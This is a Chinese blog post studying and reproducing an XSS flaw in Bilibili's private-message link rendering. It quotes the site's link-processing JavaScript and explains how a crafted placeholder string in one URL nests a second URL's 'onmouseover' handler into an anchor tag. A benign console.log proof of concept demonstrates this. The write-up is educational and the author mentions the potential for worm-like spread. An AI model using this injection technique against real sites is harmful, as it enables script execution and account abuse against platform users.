一次小破站JS代码审计出XSS漏洞思路学习

时间:2022-02-22 01:17:48
  • 今天看了小破站一个大佬的分析,感觉思路很有意思,感兴趣的xdm可以到大佬视频下提供的链接进行测试(传送门)这类社交平台的XSS漏洞利用起来其实危害是特别大的,利用XSS能在社交平台上呈现蠕虫式的扩散,大部分资产其实很容易存在这样的问题,也是一种挖高危的好思路。
  • 由于up主视频分析比较概括,自己吧源码拉下来再研究和复现一遍,加深印象。
  • 最后,JS看来还是得再学一下,学的东西都还给老师了qaq,代码还是理解得不透彻,不过暂且记录下来,有什么问题欢迎各路大佬来指正。

一、私信功能JS的部分代码:

<script>
function test(){
    var any_url = 'https?:\\/\\/(www\\.)?[-a-zA-Z0-9@:%._\\+~#=]{1,256}\\.[a-zA-Z0-9()]{1,6}\\b([-a-zA-Z0-9()@:%_\\+.~#?&//=]*)|bilibili://[\\w!@#$&\\*=\\./?~_%\\-]*';
    var white_list = JSON.parse('["^https?://[-A-Za-z0-9.]*(bilibili.com|biligame.com|acg.tv|b23.tv|(bili2233|bili23|bili33|bili22).cn|dl.hdslb.com)(/[A-Za-z0-9!@#$&\\\\*=\\\\./?~_%\\\\-]*)*$","^bilibili://[\\\\w!@#$&\\\\*=\\\\./?~_%\\\\-]*"]');
    var msgRegex = {
        any_url:any_url,
        white_list:white_list,
        black_list:[]
    }
    var g = null;
    var p = document.getElementById("in").value;
     //sort((function(t, e){})是比值函数结合sort()函数以字符长度大到小排序,具体解释:https://blog.51cto.com/u_15076212/4265209
    var m, f, h = new RegExp(any_url,"g"), g = (p.match(h) || []).sort((function(t, e) {
        return e.length - t.length
    }
    )), v = null === (m = msgRegex) || void 0 === m ? void 0 : m.white_list.filter((function(t) {
        return -1 === t.indexOf("bilibili://")
    }
    )), b = new RegExp(v.join("|")), y = new RegExp(null === (f = msgRegex) || void 0 === f ? void 0 : f.black_list.join("|"));
    g.forEach((function(e, n) {
        var i, s;
        console.log(e);
        !b.test(e) || null !== (i = msgRegex) && void 0 !== i && null !== (s = i.black_list) && void 0 !== s && s.length && y.test(e) || (p = p.split(e).join("bilibili-msg-link-placeholder-".concat(n)))
    }
    )),
    (function(){
        //url是bilibili://开头的提示移动端打开
        p = p.replace(/(?:bilibili:\/\/)(?:[/.$*?~=#!%@&\-\w]*)?/g,function(t){
            return '\n              <span data-href="'.concat(t, '">\n                【请在移动端上打开链接】\n              </span>\n            ')
        })
    })(),
    //p = u(d, p).join(""),
    g.forEach((function(t, e) {
        //造成漏洞的关键部分:满足条件的字符串拼接bilibili-msg-link-placeholder-(序号)
        p = p.split("bilibili-msg-link-placeholder-".concat(e)).join('\n              <a href="'.concat(t, '" target="_blank" class="dynamic-link">\n                <i class="bp-icon-font icon-link"></i> 网页链接\n              </a>\n            '))
    }
    )),
    document.getElementById("output_html").value = p;
    console.log(document.getElementById("output"));
    document.getElementById("output").contentWindow.document.documentElement.innerHTML=p;
    console.log(p);
};
</script>

chatgpt对这一部分代码解释:

一次小破站JS代码审计出XSS漏洞思路学习

二、分析原理

  1. 首先要理解的是js代码里面的”bilibili-msg-link-placeholder-".concat(e)部分,这部分称为占位符,也可以理解为一个便于后面进行输出的数组变量,代码中看出只要符合url格式的字符串都会被归入占位符数组中,concat(e)可以简单理解为当存在多个符合条件的url的时候按短到长的顺序生成序号1,2,3…,

最后再满足white_list正则的占位符进行拼接并输出
显示效果就是这样
一次小破站JS代码审计出XSS漏洞思路学习

  1. 当攻击者故意在URL里面插入”bilibili-msg-link-placeholder-".concat(e)这样的字符串时就有可能导致XSS的发生。

比如发送两条符合条件的url:
https://www.bilibili.com/bilibili-msg-link-placeholder-1
https://www.baidu.com/οnmοuseοver=console.log(99)//

此时占位符的排序是由url长到短排序的,所以
bilibili-msg-link-placeholder-1的值是https://www.baidu.com/οnmοuseοver=console.log(99)//,但是由于格式不符合white_list,最后不会进行超链接的拼接
bilibili-msg-link-placeholder-0的值是https://www.bilibili.com/bilibili-msg-link-placeholder-1,格式符合white_list,最后会进行超链接的拼接

bilibili-msg-link-placeholder-0拼接的结果为

  <a href="https://www.bilibili.com/
  <a href="https://www.baidu.com/onmouseover=console.log(99)//" target="_blank" class="dynamic-link">
    <i class="bp-icon-font icon-link"></i> 网页链接
  </a>
" target="_blank" class="dynamic-link">
    <i class="bp-icon-font icon-link"></i> 网页链接
  </a>

最后效果:
可以看到控制台console.log(99)显示出来了。
一次小破站JS代码审计出XSS漏洞思路学习

三、一些疑问

最后的结果到html为什么拼接部分的斜线会转成等号导致漏洞最终生效的?
不太理解。。。滚回去补JS了
一次小破站JS代码审计出XSS漏洞思路学习